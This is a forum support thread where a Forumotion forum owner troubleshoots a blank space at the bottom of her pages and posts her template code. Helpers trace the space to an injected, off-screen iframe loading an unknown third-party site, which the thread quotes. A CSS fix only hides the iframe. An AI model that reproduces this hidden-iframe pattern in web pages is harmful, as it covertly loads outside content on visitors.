The forum of the forums
Welcome to the Official Support Forum of Forumotion!

To take full advantage of everything offered by our forum, please log in if you are already a member, or join our community if you've not yet.



Create a free forum like this one.

Huge space at the end of my forum!

Page 1 of 2 1, 2  Next

View previous topic View next topic Go down

In progress Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 2:04 pm

Yet another problem Laughing

How do I get rid of the huge space at the end of my forum?
It only seems to happen to me, not members or guests.
Possibly where the footer would be (like the big footer here on the support forum)?




Last edited by jkh on December 4th 2016, 7:44 pm; edited 1 time in total
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by SLGray on December 2nd 2016, 6:42 pm

Exactly I see it, too.

Did you modify anything right before this happened?


When your topic has been solved, ensure you mark the topic solved.
Never post your email in public.

avatar
SLGray
Administrator
Administrator

Male Posts : 40213
Reputation : 2716
Language : English
Location : United States

https://fmthemes.forumotion.com/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 7:11 pm

SLGray wrote:Exactly I see it, too.

Did you modify anything right before this happened?

I've been modifying loads of things just lately but nothing to do with the footer that I know of.

Not happy to know that you can see it too - I thought it was just me.

I can only see it sometimes though, usually when I press the 'End' button to get to the bottom of the forum quickly.

I did put that 'floating navigation' bar on the forum recently, come to think of it....could it be that? And if so, how do I get rid of it to test it? I can't remember how I put it up there now!
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by skouliki on December 2nd 2016, 7:18 pm

see at the end of your footer if there are <br> lots of them
the tag <br> give us a line space
avatar
skouliki
Graphic Designer
Graphic Designer

Female Posts : 2904
Reputation : 441
Language : English,Greek
Location : Greece

http://iconskouliki.forumgreek.com

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 7:21 pm

skouliki wrote:see at the end of your footer if there are <br> lots of them
the tag <br> give us a line space

How do I get rid of them - where could they be?
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by skouliki on December 2nd 2016, 7:27 pm

jkh wrote:
skouliki wrote:see at the end of your footer if there are <br> lots of them
the tag <br> give us a line space

How do I get rid of them - where could they be?
go to your overall footer end or index body ...

dont delete anything / just see if there are many <br> at the end of the code
avatar
skouliki
Graphic Designer
Graphic Designer

Female Posts : 2904
Reputation : 441
Language : English,Greek
Location : Greece

http://iconskouliki.forumgreek.com

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 7:30 pm

Code:
<!-- BEGIN html_validation -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<div>
   <div>
      <div>
         <div>
            <div>
               <div>
                  <div>
                     <ul>
                        <li>
<!-- END html_validation -->
                        </li>
                     </ul>
                     <!-- BEGIN switch_footer_links -->
                     <ul class="linklist clearfix">
                        <li class="rightside">
                           <!-- BEGIN footer_link -->
                              <!-- BEGIN switch_separator -->&nbsp;|&nbsp;<!-- END switch_separator -->
                              {switch_footer_links.footer_link.FOOTER_LINK_SEPARATOR}<a name="bottom" class="copyright" href="{switch_footer_links.footer_link.U_FOOTER_LINK_HREF}" rel="{switch_footer_links.footer_link.FOOTER_LINK_REL}" target="{switch_footer_links.footer_link.FOOTER_LINK_TARGET}" title="{switch_footer_links.footer_link.L_FOOTER_LINK_TITLE}">{switch_footer_links.footer_link.L_FOOTER_LINK_TEXT}</a>
                           <!-- END footer_link -->
                        </li>
                     </ul>
                     <!-- END switch_footer_links -->
                     <span class="corners-bottom"><span></span></span>
                  </div>
               </div>
               <p class="copyright">
                  <strong>{ADMIN_LINK}</strong>
               </p>
            </div>
            {PROTECT_FOOTER}
         </div>
      </div>
   </div>
</div>

<!-- BEGIN switch_facebook_login -->
<div id="fb-root"></div>
<script type="text/javascript">
  FB.init({
  appId : {switch_facebook_login.FACEBOOK_APP_ID},
  cookie : true,
  xfbml : true,
  oauth : true,
  version : 'v2.3'
  });

 (function(d, s, id){
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) {return;}
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/sdk.js";
  fjs.parentNode.insertBefore(js, fjs);
  }(document, 'script', 'facebook-jssdk'));
</script>
<!-- END switch_facebook_login -->

<!-- BEGIN switch_facebook_logout_TMP -->
<script type="text/javascript">
//<![CDATA[
FB.Event.subscribe('auth.logout', function(response) {
   if ($('a#logout'))
   {
      var lien_redir = $('a#logout').attr('href');

      if ($('a#logout').attr('href') && $('a#logout').attr('href') != '')
      {
         document.location.href = 'http://{switch_facebook_logout.SERVER_NAME}/' + lien_redir;
      }
   }
});

$(document).ready( function() {
   $('a#logout').click( function() {
      FB.logout();
   } );
} );
//]]>
</script>
<!-- END switch_facebook_logout_TMP -->

<script type="text/javascript">
//<![CDATA[
   fa_endpage();
//]]>
</script>
</body>
</html>


This is the index body

Code:
{JAVASCRIPT}
<!-- BEGIN switch_user_logged_in --><p class="right rightside">{LAST_VISIT_DATE}</p><!-- END switch_user_logged_in -->
<p>{CURRENT_TIME}</p>
<br class="clear" />

<!-- BEGIN switch_user_login_form_header -->
<div class="panel">
   <div class="inner"><span class="corners-top"><span></span></span>
      <form action="{S_LOGIN_ACTION}" method="post" name="form_login">
         <div class="user_login_form center">
            <label>{L_USERNAME} : <input class="post" type="text" size="10" name="username" /></label>&nbsp;
            <label>{L_PASSWORD} : <input class="post" type="password" size="10" name="password" /></label>&nbsp;
            <label>{L_AUTO_LOGIN} : <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /></label>&nbsp;
            {S_HIDDEN_FIELDS}<input class="mainoption button1" type="submit" name="login" value="{L_LOGIN}" />
            <!-- BEGIN switch_fb_connect -->
            <span class="fb_or">{switch_user_login_form_header.switch_fb_connect.L_OR}</span>
            <fb:login-button size="large" onlogin="window.location='/facebook_connect.forum'" scope="{switch_user_login_form_footer.switch_fb_connect.L_FB_PERMISSIONS}">{switch_user_login_form_footer.switch_fb_connect.L_FB_LOGIN_BUTTON}</fb:login-button>
            <!-- END switch_fb_connect -->
         </div>
      </form>
   <span class="corners-bottom"><span></span></span></div>
</div>
<!-- END switch_user_login_form_header -->

<!-- BEGIN message_admin_index -->
   <div class="panel introduction">
      <div class="inner"><span class="corners-top"><span></span></span>
   <!-- BEGIN message_admin_titre -->
      <div class="h3">{message_admin_index.message_admin_titre.MES_TITRE}</div>
   <!-- END message_admin_titre -->

   <!-- BEGIN message_admin_txt -->
      <div class="mes-txt">{message_admin_index.message_admin_txt.MES_TXT}</div>
   <!-- END message_admin_txt -->
      <span class="corners-bottom"><span></span></span></div>
   </div>
<!-- END message_admin_index -->

{CHATBOX_TOP}
{BOARD_INDEX}

<!-- BEGIN disable_viewonline -->

   <!-- BEGIN switch_viewonline_link -->
   <div class="h3"><a href="{U_VIEWONLINE}" rel="nofollow">{L_WHO_IS_ONLINE}</a></div>
   <!-- END switch_viewonline_link -->

   <!-- BEGIN switch_viewonline_nolink -->
   <div class="h3">{L_WHO_IS_ONLINE}</div>
   <!-- END switch_viewonline_nolink -->

<img src="{L_ONLINE_IMG}" id="i_whosonline" alt="{L_WHO_IS_ONLINE}" class="img-whois" />
<p>{TOTAL_USERS_ONLINE}<br />
{RECORD_USERS}

<br />
{LOGGED_IN_USER_LIST}

{L_ONLINE_USERS}
{L_CONNECTED_MEMBERS}<br />
{L_WHOSBIRTHDAY_TODAY}{L_WHOSBIRTHDAY_WEEK}

<br />
<em>{LEGEND}&nbsp;:&nbsp;{GROUP_LEGEND}</em>

</p>
<div class="clear"></div>

   <!-- BEGIN switch_statistics_link -->
   <div class="h3"><a href="{U_STATISTICS}" rel="nofollow">{L_STATISTICS}</a></div>
   <!-- END switch_statistics_link -->

   <!-- BEGIN switch_statistics_nolink -->
   <div class="h3">{L_STATISTICS}</div>
   <!-- END switch_statistics_nolink -->

<p class="page-bottom">
{TOTAL_POSTS}
</p>
<p class="page-bottom">
{TOTAL_USERS}
</p>
<p class="page-bottom">
{NEWEST_USER}
</p>
   <!-- BEGIN switch_chatbox_activate -->
   <div class="h3"><a href="{S_JOIN_CHAT}" target="ChatBox">{CHATBOX_NAME}</a></div>
   <div class="page-bottom">
   {TOTAL_CHATTERS_ONLINE}&nbsp;:&nbsp;
   {CHATTERS_LIST}<br />
   </div>
      <!-- BEGIN switch_chatbox_popup -->
      <div id="chatbox_popup"></div>
      <script type="text/javascript">
      insertChatBoxPopup('{disable_viewonline.switch_chatbox_activate.switch_chatbox_popup.U_FRAME_CHATBOX}', '{L_CLICK_TO_JOIN_CHAT}');
      </script>
      <!-- END switch_chatbox_popup -->
   <!-- END switch_chatbox_activate -->
<!-- END disable_viewonline -->

{CHATBOX_BOTTOM}

<!-- BEGIN switch_user_login_form_footer -->
<div class="panel">
   <div class="inner"><span class="corners-top"><span></span></span>
      <form action="{S_LOGIN_ACTION}" method="post" name="form_login">
         <div class="user_login_form center">
            <label>{L_USERNAME} : <input class="post" type="text" size="10" name="username" /></label>&nbsp;
            <label>{L_PASSWORD} : <input class="post" type="password" size="10" name="password" /></label>&nbsp;
            <label>{L_AUTO_LOGIN} : <input class="radio" type="checkbox" name="autologin" {AUTOLOGIN_CHECKED} /></label>&nbsp;
            {S_HIDDEN_FIELDS}<input class="mainoption button1" type="submit" name="login" value="{L_LOGIN}" />
            <!-- BEGIN switch_fb_connect -->
            <span class="fb_or">{switch_user_login_form_footer.switch_fb_connect.L_OR}</span>
            <fb:login-button size="large" onlogin="window.location='/facebook_connect.forum'" scope="{switch_user_login_form_footer.switch_fb_connect.L_FB_PERMISSIONS}">{switch_user_login_form_footer.switch_fb_connect.L_FB_LOGIN_BUTTON}</fb:login-button>
            <!-- END switch_fb_connect -->
         </div>
      </form>
   <span class="corners-bottom"><span></span></span></div>
</div>
<!-- END switch_user_login_form_footer -->

<br style="clear:both" />

<!-- BEGIN switch_legend -->
<ul id="picture_legend">
   <li><img src="{FORUM_NEW_IMG}" alt="{L_NEW_POSTS}" />{L_NEW_POSTS}</li>
   <li><img src="{FORUM_IMG}" alt="{L_NO_NEW_POSTS}" />{L_NO_NEW_POSTS}</li>
   <li><img src="{FORUM_LOCKED_IMG}" alt="{L_FORUM_LOCKED}" />{L_FORUM_LOCKED}</li>
</ul>
<!-- END switch_legend -->

{AUTO_DST}

<!-- BEGIN switch_fb_index_login -->
<div id="fb-root"></div>
<script>
    FB.init({
      appId      : {switch_fb_index_login.FACEBOOK_APP_ID},
      cookie    : true,
      xfbml      : true,
      oauth      : true,
      version    : 'v2.3'
    });

  (function(d, s, id){
    var js, fjs = d.getElementsByTagName(s)[0];
    if (d.getElementById(id)) {return;}
    js = d.createElement(s); js.id = id;
    js.src = "//connect.facebook.net/en_US/sdk.js";
    fjs.parentNode.insertBefore(js, fjs);
  }(document, 'script', 'facebook-jssdk'));
</script>
<!-- END switch_fb_index_login -->
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by skouliki on December 2nd 2016, 7:32 pm

i dont see the space on your footer (chrome)

avatar
skouliki
Graphic Designer
Graphic Designer

Female Posts : 2904
Reputation : 441
Language : English,Greek
Location : Greece

http://iconskouliki.forumgreek.com

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by SLGray on December 2nd 2016, 7:33 pm

How about the index body?


When your topic has been solved, ensure you mark the topic solved.
Never post your email in public.

avatar
SLGray
Administrator
Administrator

Male Posts : 40213
Reputation : 2716
Language : English
Location : United States

https://fmthemes.forumotion.com/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 7:35 pm

skouliki wrote:i dont see the space on your footer (chrome)


What browser do you see it on?
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by SLGray on December 2nd 2016, 7:37 pm

Exactly I do not see it now.

It must ne a random thing.

I am using Firefox 50.0.2.


When your topic has been solved, ensure you mark the topic solved.
Never post your email in public.

avatar
SLGray
Administrator
Administrator

Male Posts : 40213
Reputation : 2716
Language : English
Location : United States

https://fmthemes.forumotion.com/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 7:46 pm

The only other thing I can think of is when I was trying to put some space between the forum images and the forum descriptions in between codes and that made the forum go out of whack at the bottom. But I deleted it.

So I wonder if it's made some changes somewhere in the templates?
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by skouliki on December 2nd 2016, 7:49 pm

i use chrome
avatar
skouliki
Graphic Designer
Graphic Designer

Female Posts : 2904
Reputation : 441
Language : English,Greek
Location : Greece

http://iconskouliki.forumgreek.com

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by Ghost Pirate on December 2nd 2016, 9:03 pm

I see it every time on Microsoft Edge
avatar
Ghost Pirate
Forumember

Male Posts : 273
Reputation : 82
Language : English, Greman, Spanish

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 9:10 pm

Oh dear, not good Think
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by Guest on December 2nd 2016, 9:15 pm

It is an iframe

Code:
<iframe style="width: 800px; border: 0px none; position: absolute; left: -1000px; height: 600px;" src="http://metrica.yanqex.com/cTwYz6"></iframe>

When I set the height to 1px it was gone (Firefox inspection mode).

I opened the link in a browser and it was an ad/link to another site or something.

But weirdly enough after refreshing the page it was gone and it does not show up all the time...

Guest
Guest


Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 9:17 pm

An ad link?

I downloaded AdBlock Plus the other day....
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by Guest on December 2nd 2016, 9:22 pm

I had my adblocker on and only one time it showed up here. Chrome never showed it. And on my Firefox it was only the empty space.
But it did respond to the height adjustment, there actually where two iframes.
None of them showing now, refreshed a dozen times and nothing.

So question is, why do they load there? It is not a normal thing to happen...

Guest
Guest


Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 9:28 pm

I can't find this code in my CSS

Code:
        <iframe style="width: 800px; border: 0px none; position: absolute; left: -1000px; height: 600px;" src="http://metrica.yanqex.com/cTwYz6"></iframe>
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by skouliki on December 2nd 2016, 9:42 pm

This must be inside of a widget code ...Monitor the statistics of your forum
Check your widgets
I think
avatar
skouliki
Graphic Designer
Graphic Designer

Female Posts : 2904
Reputation : 441
Language : English,Greek
Location : Greece

http://iconskouliki.forumgreek.com

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 2nd 2016, 10:25 pm

The space is even bigger on the Portal.

I wonder if it's something to do with the Christmas decorations?
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by Kyo Panda on December 3rd 2016, 12:47 am

Yo, o/

Short answer is: Edge is a gorgeous and stupid browser at the same time. It doesn't treat positions fixed and absolute properly and this is the source of many of the actual problems on their bug tracker.

Try add this to your CSS:

Code:
body > iframe[src*="yanqex.com"] {
  top: -9999px;
}

Bouncy
avatar
Kyo Panda
Forumember

Male Posts : 33
Reputation : 19
Language : Portuguese, English
Location : Brazil

http://pt.rpgmaker.io

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 3rd 2016, 2:34 pm

Kyo Panda wrote:Yo, o/

Short answer is: Edge is a gorgeous and stupid browser at the same time. It doesn't treat positions fixed and absolute properly and this is the source of many of the actual problems on their bug tracker.

Try add this to your CSS:

Code:
body > iframe[src*="yanqex.com"] {
  top: -9999px;
}

Bouncy

Thank you Kyo Panda, I've put this code in my CSS and I haven't seen the huge space so far today.

Not sure what Edge has to do with it though, as I use Firefox - could you explain it to me please?
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by Guest on December 3rd 2016, 3:48 pm

That code just makes the iframe too small to see, it is still there. Got a good look at it just now.

We saw a white space before because it had a left position of -1000, I made a screenshot of it with the three items making it this way.
I turned off the -1000px to the left and the code above and the iframe shows just fine. Also marked the iframe code.

I used an external uploader because the picture is too big for uploading here: https://postimg.org/image/vz9w70mx7/dea6e8a4/


Guest
Guest


Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 3rd 2016, 6:27 pm

I have no idea what any of this means.
How on earth has an advert got there? I pay to keep the adverts off my forum.
What can I do to sort this out?
Is it because I downloaded that AdBlock Plus do you think?
avatar
jkh
Forumember

Posts : 282
Reputation : 9
Language : english

http://jillhavern.forumotion.net/

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by Kyo Panda on December 4th 2016, 12:16 am

jkh wrote:[...] I pay to keep the adverts off my forum. [...]

Oh... So the ads aren't the common behavior? That complicates things...

Following this topic instructions, could you post here the overall_header and overall_footer_begin? If this thingy is appearing on both portal and forum, it must be somewhere there or in custom scripts.
avatar
Kyo Panda
Forumember

Male Posts : 33
Reputation : 19
Language : Portuguese, English
Location : Brazil

http://pt.rpgmaker.io

Back to top Go down

In progress Re: Huge space at the end of my forum!

Post by jkh on December 4th 2016, 7:35 am

Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="{S_CONTENT_DIRECTION}" id="min-width" lang="{L_LANG_HTML}" xml:lang="{L_LANG_HTML}" {NAMESPACE_FB_LIKE} {NAMESPACE_FB} {NAMESPACE_BBCODE}>
<head>
   <title>{SITENAME_TITLE}{PAGE_TITLE}</title>
   <meta http-equiv="content-type" content="text/html; charset={S_CONTENT_ENCODING}" />
   <meta http-equiv="content-script-type" content="text/javascript" />
   <meta http-equiv="content-style-type" content="text/css" />
   <!-- BEGIN switch_compat_meta -->
   <meta http-equiv="X-UA-Compatible" content="IE={switch_compat_meta.VERSION}" />
   <!-- END switch_compat_meta -->
   <!-- BEGIN switch_canonical_url -->
   <link rel="canonical" href="{switch_canonical_url.CANONICAL_URL}" />
   <!-- END switch_canonical_url -->
   {META_FAVICO}
   {META}
   {META_FB_LIKE}
   <meta name="title" content="{SITENAME_TITLE}{PAGE_TITLE}" />
   {T_HEAD_STYLESHEET}
   {CSS}
   <link rel="search" type="application/opensearchdescription+xml" href="/improvedsearch.xml" title="{SITENAME}" />
   <link rel="search" type="application/opensearchdescription+xml" href="{URL_BOARD_DIRECTORY}/search/improvedsearch.xml" title="{SEARCH_FORUMS}" />
   <script src="{JQUERY_PATH}" type="text/javascript"></script>
   <script src="{JS_DIR}{L_LANG}.js" type="text/javascript"></script>
    {RICH_SNIPPET_GOOGLE}

   <!-- BEGIN switch_fb_login -->
   <script src="http://connect.facebook.net/{switch_fb_login.FB_LOCAL}/all.js" type="text/javascript"></script>
   <script src="{switch_fb_login.JS_FB_LOGIN}" type="text/javascript"></script>
   <!-- END switch_fb_login -->

   <!-- BEGIN switch_ticker -->
   <link type="text/css" rel="stylesheet" href="{JS_DIR}jquery/ticker/ticker.css" />
   <script src="{JS_DIR}jquery/ticker/ticker.js" type="text/javascript"></script>
   <!-- END switch_ticker -->

   <!-- BEGIN switch_ticker_new -->
   <script src="{JS_DIR}jquery/jcarousel/jquery.jcarousel.js" type="text/javascript"></script>
   <script type="text/javascript">//<![CDATA[
      /* Definir le sens de direction en fonction du panneau admin */
      var tickerDirParam = "{switch_ticker.DIRECTION}";
      var slid_vert = false;
      var auto_dir = 'next';
      var h_perso = parseInt({switch_ticker.HEIGHT});

      switch( tickerDirParam )
      {
         case 'top' :
            slid_vert = true;
            break;

         case 'left':
            break;

         case 'bottom':
            slid_vert = true;
            auto_dir = 'prev';
            break;

         case 'right':
            auto_dir = 'prev';
            break;

         default:
            slid_vert = true;
      }

      $(document).ready(function() {

         $('#fa_ticker_content').css('display','block');

         var width_max = $('ul#fa_ticker_content').width();
         var width_item = Math.floor(width_max / {switch_ticker.SIZE});

         if (width_max > 0)
         {
            $('ul#fa_ticker_content li').css('float','left').css('list-style','none').width(width_item).find('img').each(function () {
               if ($(this).width() > width_item)
               {
               var ratio      = $(this).width() / width_item;
               var new_height = Math.round($(this).height() / ratio);
               $(this).height(new_height).width(width_item);
               }
            });

            if (slid_vert)
            {
               var height_max = h_perso;

               $('ul#fa_ticker_content li').each( function () {
                  if ($(this).height() > height_max)
                  {
                     height_max = $(this).height();
                  }
               } );

               $('ul#fa_ticker_content').width(width_item).height(height_max).css('marginLeft','auto').css('marginRight','auto');
               $('ul#fa_ticker_content li').height(height_max);
            }


            $('#fa_ticker_content').jcarousel({
                  vertical: slid_vert,
               wrap: 'circular',
               auto: {switch_ticker.STOP_TIME},
               auto_direction: auto_dir,
            scroll: 1,
            size: {switch_ticker.SIZE},
            height_max: height_max,
            animation: {switch_ticker.SPEED}
            });
         }
         else
         {
            $('ul#fa_ticker_content li:not(:first)').css('display','none');
            $('ul#fa_ticker_content li:first').css('list-style','none').css('text-align','center');
         }
      });
   //]]>
   </script>
   <!-- END switch_ticker_new -->

   <script type="text/javascript">//<![CDATA[
   $(document).ready(function(){
      <!-- BEGIN switch_enable_pm_popup -->
         pm = window.open('{U_PRIVATEMSGS_POPUP}', '_faprivmsg', 'HEIGHT=225,resizable=yes,WIDTH=400');
         if(pm != null) { pm.focus(); }
      <!-- END switch_enable_pm_popup -->
      <!-- BEGIN switch_report_popup -->
         report = window.open('{switch_report_popup.U_REPORT_POPUP}', '_phpbbreport', 'HEIGHT={switch_report_popup.S_HEIGHT},resizable=yes,scrollbars=no,WIDTH={switch_report_popup.S_WIDTH}');
         if(report != null) { report.focus(); }
      <!-- END switch_report_popup -->
      <!-- BEGIN switch_ticker -->
         $(document).ready(function() {
            Ticker.start({
               height : {switch_ticker.HEIGHT},
               spacing : {switch_ticker.SPACING},
               speed : {switch_ticker.SPEED},
               direction : '{switch_ticker.DIRECTION}',
               pause : {switch_ticker.STOP_TIME}
            });
         });
      <!-- END switch_ticker -->
   });

   <!-- BEGIN switch_login_popup -->
      var logInPopUpLeft, logInPopUpTop, logInPopUpWidth = {LOGIN_POPUP_WIDTH}, logInPopUpHeight = {LOGIN_POPUP_HEIGHT}, logInBackgroundResize = true, logInBackgroundClass = false;
   <!-- END switch_login_popup -->

   <!-- BEGIN switch_login_popup -->
   $(document).ready( function() {
      $(window).resize(function() {
         var windowWidth = document.documentElement.clientWidth;
         var popupWidth = $("#login_popup").width();
         var mypopup = $("#login_popup");

         $("#login_popup").css({
         "left": windowWidth/2 - popupWidth/2
            });
      });
   });
   <!-- END switch_login_popup -->
   //]]>
   </script>
   {GREETING_POPUP}
   <style type="text/css">
   #page-footer, div.navbar, div.navbar ul.linklist {
   display: block !important;
   }
   ul.linklist li.rightside, ul.linklist li.rightside a.copyright {
   display: inline !important;
   }

   <!-- BEGIN switch_ticker_new -->
   .jcarousel-skin-tango .jcarousel-item {
      text-align:center;
      width: 10px;
   }

   .jcarousel-skin-tango .jcarousel-item-horizontal {
      margin-right: {switch_ticker.SPACING}px;
   }

   .jcarousel-skin-tango .jcarousel-item-vertical {
      margin-bottom: {switch_ticker.SPACING}px;
   }
   <!-- END switch_ticker_new -->
   </style>
   {HOSTING_JS}
   <!-- BEGIN google_analytics_code -->
   <script type="text/javascript">
   //<![CDATA[
      var _gaq = _gaq || [];
      _gaq.push(["_setAccount", "{G_ANALYTICS_ID}"]);
      _gaq.push(["_trackPageview"]);
      _gaq.push(['_trackPageLoadTime']);

      <!-- BEGIN google_analytics_code_bis -->
      _gaq.push(['b._setAccount', '{G_ANALYTICS_ID_BIS}']);
      _gaq.push(['b._trackPageview']);
      <!-- END google_analytics_code_bis -->

      (function() {
         var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;
         ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";
         var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);
      })();
   //]]>
   </script>
   <!-- END google_analytics_code -->
</head>

<body id="phpbb">
<!-- BEGIN hitskin_preview -->
<div id="hitskin_preview" style="display: block;">
   <h1><img src="http://illiweb.com/fa/hitskin/hitskin_logo.png" alt="" /> <em>Hit</em>skin.com</h1>
   <div class="content">
      <p>
         {hitskin_preview.L_THEME_SITE_PREVIEW}
         <br />
         <span>{hitskin_preview.U_INSTALL_THEME}<a href="http://{hitskin_preview.U_RETURN_THEME}">{hitskin_preview.L_RETURN_THEME}</a></span>
      </p>

   </div>
</div>
<!-- END hitskin_preview -->

<!-- BEGIN switch_login_popup -->
<div id="login_popup" style="z-index: 10000 !important;">
   <div class="h3">{SITENAME}</div>
   {LOGIN_POPUP_MSG}
   <div id="login_popup_buttons">
      <form action="{S_LOGIN_ACTION}" method="get">
         <input type="submit" class="button1" value="{L_LOGIN}" />
         <input type="button" class="button1" value="{L_REGISTER}" onclick="parent.location='{U_REGISTER}';" />
         <input id="login_popup_close" type="button" class="button2" value="{L_DONT_DISPLAY_AGAIN}" />
      </form>
   </div>
</div>
<!-- END switch_login_popup -->

<div class="conteneur_minwidth_IE">
<div class="conteneur_layout_IE">
<div class="conteneur_container_IE">
<div id="wrap">
   <a id="top" name="top" accesskey="t"></a>
   {JAVASCRIPT}

   <div id="page-header">
      <div class="headerbar">
         <div class="inner"><span class="corners-top"><span></span></span>

         <div id="logo-desc">
            <a href="{U_INDEX}" id="logo"><img src="{LOGO}" alt="{L_INDEX}" /></a>
            <!-- BEGIN switch_h1 -->
            <div id="site-title">{switch_h1.MAIN_SITENAME}</div>
            <!-- END switch_h1 -->
            <!-- BEGIN switch_desc -->
            <p>{switch_desc.SITE_DESCRIPTION}</p>
            <!-- END switch_desc -->
         </div>

         <span class="corners-bottom"><span></span></span></div>
      </div>

      <div class="navbar">
         <div class="inner"><span class="corners-top"><span></span></span>

         <ul class="linklist navlinks{NAVBAR_BORDERLESS}">
         <li>{GENERATED_NAV_BAR}</li>
         </ul>

         <!-- BEGIN switch_search_box -->
         <div id="search-box">
            <form method="get" action="{ACTION_SEARCH}" id="search">
               <p class="nomargin"><input type="text" name="search_keywords" id="keywords" maxlength="128" class="inputbox search" value="{L_SEARCH}..." onclick="if (this.value == '{L_SEARCH}...') this.value = '';" onblur="if (this.value == '') this.value = '{L_SEARCH}...';" />
               {JS_SESSION_ID_INPUT}
               <input class="button2" type="submit" value="{L_SEARCH}" /></p>
            </form>
         </div>
         <!-- END switch_search_box -->

         <span class="corners-bottom"><span></span></span></div>
      </div>

      <!-- BEGIN switch_ticker_new -->
      <div id="fa_ticker_blockD" style="margin-top:4px;">
         <div class="module">
            <div class="inner">
               <span class="corners-top"><span></span></span>
                  <div id="fa_ticker_container">
                     <ul id="fa_ticker_content" class="jcarousel-skin-tango" style="display:none">
                        <!-- BEGIN ticker_row -->
                        <li>{switch_ticker.ticker_row.ELEMENT}</li>
                        <!-- END ticker_row -->
                     </ul>
                  </div>
               <span class="corners-bottom"><span></span></span>
            </div>
         </div>
      </div>
      <!-- END switch_ticker_new -->

      <!-- BEGIN switch_ticker -->
      <div id="fa_ticker_block" style="margin-top:4px;">
         <div class="module">
            <div class="inner">
               <span class="corners-top"><span></span></span>
                  <div id="fa_ticker_container">
                     <div id="fa_ticker" style="height:{switch_ticker.HEIGHT}px;">
                        <div class="fa_ticker_content">
                           <!-- BEGIN ticker_row -->
                           <div>{switch_ticker.ticker_row.ELEMENT}</div>
                           <!-- END ticker_row -->
                        </div>
                     </div>
                  </div>
               <span class="corners-bottom"><span></span></span>
            </div>
         </div>
      </div>
      <!-- END switch_ticker -->
   </div>

   <div id="page-body">

   <div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}>
      <div id="outer-wrapper">
         <div id="wrapper">
            <div id="container">
               <div id="content">

                  <div id="{ID_LEFT}">
                     <!-- BEGIN giefmod_index1 -->
                     {giefmod_index1.MODVAR}
                     <!-- BEGIN saut -->
                     <div style="height:{SPACE_ROW}px"></div>
                     <!-- END saut -->
                     <!-- END giefmod_index1 -->
                  </div>

                  <div id="main">
                     <div id="main-content">


Code:
<!-- BEGIN html_validation -->
<div>
   <div>
      <div>
         <div>
            <div>
               <div>
                  <div>
                     <div>
<!-- END html_validation -->
                     </div>
                  </div>
               </div>
            </div>
            <div id="{ID_RIGHT}">
               <!-- BEGIN giefmod_index2 -->
               {giefmod_index2.MODVAR}
               <!-- BEGIN saut -->
               <div style="height:{SPACE_ROW}px"></div>
               <!-- END saut -->
               <!-- END giefmod_index2 -->
            </div>
         </div>
      </div>
   </div>
</div>
<div id="page-footer">
   <div class="navbar">
      <div class="inner">
         <span class="corners-top"><span></span></span>
         <ul class="linklist clearfix">
            <li class="footer-home">
               <a class="icon-home" href="{U_INDEX}" accesskey="h">{L_HOME}</a>
            </li>
            <li class="rightside">
